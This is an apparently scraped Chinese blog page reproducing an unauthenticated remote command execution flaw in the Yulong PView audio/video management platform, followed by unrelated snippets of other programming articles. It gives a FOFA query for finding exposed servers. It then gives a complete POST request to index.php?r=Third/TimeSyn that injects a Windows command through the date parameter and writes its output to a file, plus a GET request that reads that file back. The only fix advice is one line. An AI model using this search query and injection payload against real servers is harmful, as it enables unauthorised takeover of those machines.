当前位置： 首页 > news >正文

誉龙视音频 Third/TimeSyn 远程命令执行复现

news 2026/2/6 6:26:40

0x01 漏洞描述：

誉龙公司定位为系统级的移动视音频记录解决方案提供商，凭借其深厚的行业经验，坚持自主研发，匠心打造记录仪领域行业生态，提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频综合管理平台 index.php 接口的Third/TimeSyn路由地址里存在远程命令执行漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

0x02 搜索语句：

Fofa：body="PView 视音频管理平台"

0x03 漏洞复现：

POST /index.php?r=Third/TimeSyn HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencodedcloudKey=0x0&date=|cmd.exe+/c+whoami+>+test.txt&time=1

 

回显执行成功后拼接命令执行时写入的文件

GET /test.txt HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

0x04 修复建议：

厂商已发布补丁版本请及时修复

相关文章：

誉龙视音频 Third/TimeSyn 远程命令执行复现

0x01 漏洞描述： 誉龙公司定位为系统级的移动视音频记录解决方案提供商，凭借其深厚的行业经验，坚持自主研发，匠心打造记录仪领域行业生态，提供开放式的记录仪APK、GB28181 SDK、国网B协议、管理平台软件OEM。誉龙视音频…...

编程日记 2024/9/22 4:38:46

ATMEGA328P芯片引脚介绍

1.AVCC AVCC是ATmega328P芯片的模拟电源引脚。 AVCC引脚的定义 模拟电源引脚：AVCC（Analog Voltage Common）是ATmega328P微控制器中的模拟电源引脚，用于为模拟电路部分提供稳定的电源。功能描述：AVCC通常连接到一个干…...

编程日记 2024/9/22 4:36:44

现代前端构建工具对比：Vue CLI、Webpack 和 Vite

一、引言🌟 在现代前端开发中，选择合适的构建工具对于提高项目的效率和可维护性至关重要。🛠️ Vue CLI、📦 Webpack 和 🚀 Vite 是目前最流行的三个构建工具，它们各自具有独特的优势和适用场景。本文将深…...

编程日记 2024/9/22 4:35:43

代码随想录算法训练营第三九天| 198.打家劫舍 213.打家劫舍II 337.打家劫舍 III

今日任务 198.打家劫舍 213.打家劫舍II 337.打家劫舍 III 198.打家劫舍 题目链接： . - 力扣（LeetCode） class Solution {public int rob(int[] nums) {int[] dp new int[nums.length];if (nums.length 1) return nums[0];if (nums.lengt…...

编程日记 2024/9/22 4:34:42

阿里云AI基础设施全面升级，模型算力利用率提升超20%

来源首席数智官 9月20日，2024云栖大会现场，阿里云全面展示了全新升级后的AI Infra系列产品及能力。通过全栈优化，阿里云打造出一套稳定和高效的AI基础设施，连续训练有效时长大于99%，模型算力利用率提升20%以上。 “AI…...

编程日记 2024/9/22 4:33:41

Debezium日常分享系列之：将容器镜像移至 quay.io

Debezium日常分享系列之：将容器镜像移至 quay.io 在Debezium 3.0.0.Final发布之后，我们将不再向docker.io发布容器镜像更新。旧版本的Debezium 2.x和1.x镜像将继续保留在docker.io上；然而，所有未来的Debezium 2.7.x和3.x或更高版本…...

编程日记 2024/9/22 4:31:39

基于TCP实现聊天

TCP客户端代码 import java.io.*; import java.net.InetAddress; import java.net.Socket;public class TcpClientDemo01 {public static void main(String[] args) {Socket socket null;OutputStream os null;InputStream is null;BufferedReader reader null;try {// 1.…...

编程日记 2024/9/22 4:29:37

基于JavaSwing实现的酒店管理系统

一、项目介绍 > 欢迎使用酒店管理系统！ > 这是一个基于Java Swing开发，用于管理酒店预订、房间、订单和用户信息的系统。 > 适用于JAVA初学者作为入门学习项目。 二、项目演示 三、基础依赖 技术/框架版本描述Java8编程语言MySQL8.0数据…...

编程日记 2024/9/22 4:26:34

网络基础，协议，OSI分层，TCP/IP模型

网络的产生是数据交流的必然趋势，计算机之间的独立的个体，想要进行数据交互，一开始是使用磁盘进行数据拷贝，可是这样的数据拷贝效率很低，于是网络交互便出现了； 1.网络是什么 网络，顾名思义是…...

编程日记 2024/9/22 4:25:33

CefSharp_Vue交互(Element UI)_WinFormWeb应用---设置应用透明度（含示例代码）

一、界面预览 1.1 设置透明（整个页面透明80%示例） 限制输入值：10-100（数字太小会不好看见） 1.2 vue标题栏 //注册类与js调用 (async function(...

编程日记 2024/9/22 4:24:32

【OSS安全最佳实践】降低因账号密码泄露带来的未授权访问风险

如果因个人或者企业账号密码泄露引发了未经授权的访问，可能会出现非法用户对OSS资源进行违法操作，或者合法用户以未授权的方式对OSS资源进行各类操作，这将给数据安全带来极大的威胁。为此，OSS提供了在实施数据安全保护时需要考虑的…...

编程日记 2024/9/22 4:20:28

视频存储EasyCVR视频监控汇聚管理平台设备录像下载报错404是什么原因？

EasyCVR视频监控汇聚管理平台是一款针对大中型项目设计的跨区域网络化视频监控集中管理平台。该平台不仅具备视频资源管理、设备管理、用户管理、运维管理和安全管理等功能，还支持多种主流标准协议，如GB28181、RTSP/Onvif、RTMP、部标JT808、GA/T 1400协…...

编程日记 2024/9/22 4:19:27

在Spring项目中，两个实用的工具（生成类与映射文件、API自动生成）

尊贵的Spring玩家，是不允许动脑思考的，所以我们要学会复制粘贴 1.生成类与映射文件 背景：在项目编写初期，我们已经设计好了表，后面就需要根据表来撰写实体类(model)和对应的sql语句(dao和mapper)。如果一个项目中&…...

编程日记 2024/9/22 4:18:26

C#基础（16）实践：学生成绩管理系统

简介 通过基础部分的学习，我们已经能进行一些实际应用的开发，学生成绩系统我相信是大家基本在大学期间上程序课必定会经历的一个小项目。 这个小项目看上去简单，但是思考量却不少。 这里就不带着大家一步一步讲解了，因为里面涉…...

编程日记 2024/9/22 4:17:25

git常用命令(patch补丁和解决冲突)

diff/apply方案 使用diff命令生成patch文件，后使用apply命令应用patch到分支，从而实现修改复刻。 生成补丁 git diff > commit.patch 检查补丁 git apply --check commit.patch 应用补丁 git apply commit.patchgit diff --cached > commit.pa…...

编程日记 2024/9/22 4:16:24

数模方法论-整数规划

一、基本概念 非线性规划的应用包括工程设计、资源分配、经济模型等。在求解过程中，由于非线性特性，常用的方法有梯度法、牛顿法、启发式算法等。求解非线性规划问题时，解的存在性和唯一性通常较难保证，且可能存在多个局部最优解…...

编程日记 2024/9/22 4:08:16

【问题随记】在使用 AuthenticationManager 的时候，出现循环依赖问题 —— `java.lang.StackOverflowError`

问题随记 在使用 AuthenticationManager 的时候，出现循环依赖问题 —— java.lang.StackOverflowError，查资料查了两天半，终于找到原因。 2024-06-16T17:54:19.48708:00 ERROR 20672 --- [nio-8789-exec-1] o.a.c.c.C.[.[.[/].[dispatcherS…...

编程日记 2024/9/22 4:07:15

2024年华为杯-研赛F题论文问题一二讲解+代码分享

X射线脉冲星光子到达时间建模 摘要 脉冲星是一类高速自转的中子星，其自转形成规律性脉冲信号，类似于“宇宙中的灯塔”，因此被认为是极为精确的时钟。X射线脉冲星导航利用脉冲星信号为航天器提供时间和空间参考。通过比较脉冲信号到达航天器…...

编程日记 2024/9/22 4:05:13

代码随想录训练营第34天|dp前置转移

62. 不同路径 class Solution { public:int uniquePaths(int m, int n) {vector<vector<int>> dp(m,vector<int>(n,1));for(int i1; i<m;i){for(int j1; j<n; j){dp[i][j]dp[i-1][j]dp[i][j-1];}}return dp[m-1][n-1];} }; dp[i][j]:运动至(i,j)的方…...

编程日记 2024/9/22 4:04:11

乐观锁、悲观锁

一、悲观锁 悲观锁 (Pessimistic Locking)&#xff0c;具有强烈的独占和排他特性。它指的是对数据被外界修改持保守态度。因此&#xff0c;在整个执行过程中&#xff0c;将处于锁定状态。所以&#xff0c;悲观锁是一种悲观思想&#xff0c;它总认为最坏的情况可能会出现&#x…...

编程日记 2024/9/22 4:03:10

P3 QT项目----记事本（3.8）

3.8 记事本项目总结 项目源码 1.main.cpp #include "widget.h" #include <QApplication> int main(int argc, char *argv[]) {QApplication a(argc, argv);Widget w;w.show();return a.exec(); } 2.widget.cpp #include "widget.h" #include &q…...

编程新知 2026/2/1 6:56:36

Linux 内存管理实战精讲：核心原理与面试常考点全解析

Linux 内存管理实战精讲&#xff1a;核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用&#xff0c;还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

编程新知 2026/1/25 10:16:57

tauri项目，如何在rust端读取电脑环境变量

如果想在前端通过调用来获取环境变量的值&#xff0c;可以通过标准的依赖&#xff1a; std::env::var(name).ok() 想在前端通过调用来获取&#xff0c;可以写一个command函数&#xff1a; #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

编程新知 2026/2/6 6:05:11

上位机开发过程中的设计模式体会(1)：工厂方法模式、单例模式和生成器模式

简介 在我的 QT/C 开发工作中&#xff0c;合理运用设计模式极大地提高了代码的可维护性和可扩展性。本文将分享我在实际项目中应用的三种创造型模式&#xff1a;工厂方法模式、单例模式和生成器模式。 1. 工厂模式 (Factory Pattern) 应用场景 在我的 QT 项目中曾经有一个需…...

编程新知 2025/8/18 3:01:22

嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程（6.3）

目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 ​编辑​编辑 UDP的特征 socke函数 bind函数 recvfrom函数&#xff08;接收函数&#xff09; sendto函数&#xff08;发送函数&#xff09; 五、网络编程之 UDP 用…...

编程新知 2026/2/6 5:57:59

图解JavaScript原型：原型链及其分析 | JavaScript图解

​​ 忽略该图的细节&#xff08;如内存地址值没有用二进制&#xff09; 以下是对该图进一步的理解和总结 1. JS 对象概念的辨析 对象是什么&#xff1a;保存在堆中一块区域&#xff0c;同时在栈中有一块区域保存其在堆中的地址&#xff08;也就是我们通常说的该变量指向谁&…...

编程新知 2026/2/5 3:03:00

基于单片机的宠物屋智能系统设计与实现（论文+源码）

本设计基于单片机的宠物屋智能系统核心是实现对宠物生活环境及状态的智能管理。系统以单片机为中枢&#xff0c;连接红外测温传感器&#xff0c;可实时精准捕捉宠物体温变化&#xff0c;以便及时发现健康异常&#xff1b;水位检测传感器时刻监测饮用水余量&#xff0c;防止宠物…...

编程新知 2026/1/26 12:38:34

【题解-洛谷】P10480 可达性统计

题目&#xff1a;P10480 可达性统计 题目描述 给定一张 N N N 个点 M M M 条边的有向无环图&#xff0c;分别统计从每个点出发能够到达的点的数量。 输入格式 第一行两个整数 N , M N,M N,M&#xff0c;接下来 M M M 行每行两个整数 x , y x,y x,y&#xff0c;表示从 …...

编程新知 2025/12/15 8:11:23

基于 HTTP 的单向流式通信协议SSE详解

SSE&#xff08;Server-Sent Events&#xff09;详解 &#x1f9e0; 什么是 SSE&#xff1f; SSE&#xff08;Server-Sent Events&#xff09; 是 HTML5 标准中定义的一种通信机制&#xff0c;它允许服务器主动将事件推送给客户端&#xff08;浏览器&#xff09;。与传统的 H…...

编程新知 2025/10/28 10:54:22

【Vue】scoped+组件通信+props校验

【scoped作用及原理】 【作用】 默认写在组件中style的样式会全局生效, 因此很容易造成多个组件之间的样式冲突问题 故而可以给组件加上scoped 属性&#xff0c; 令样式只作用于当前组件的标签 作用&#xff1a;防止不同vue组件样式污染 【原理】 给组件加上scoped 属性后…...

编程新知 2026/1/23 14:36:52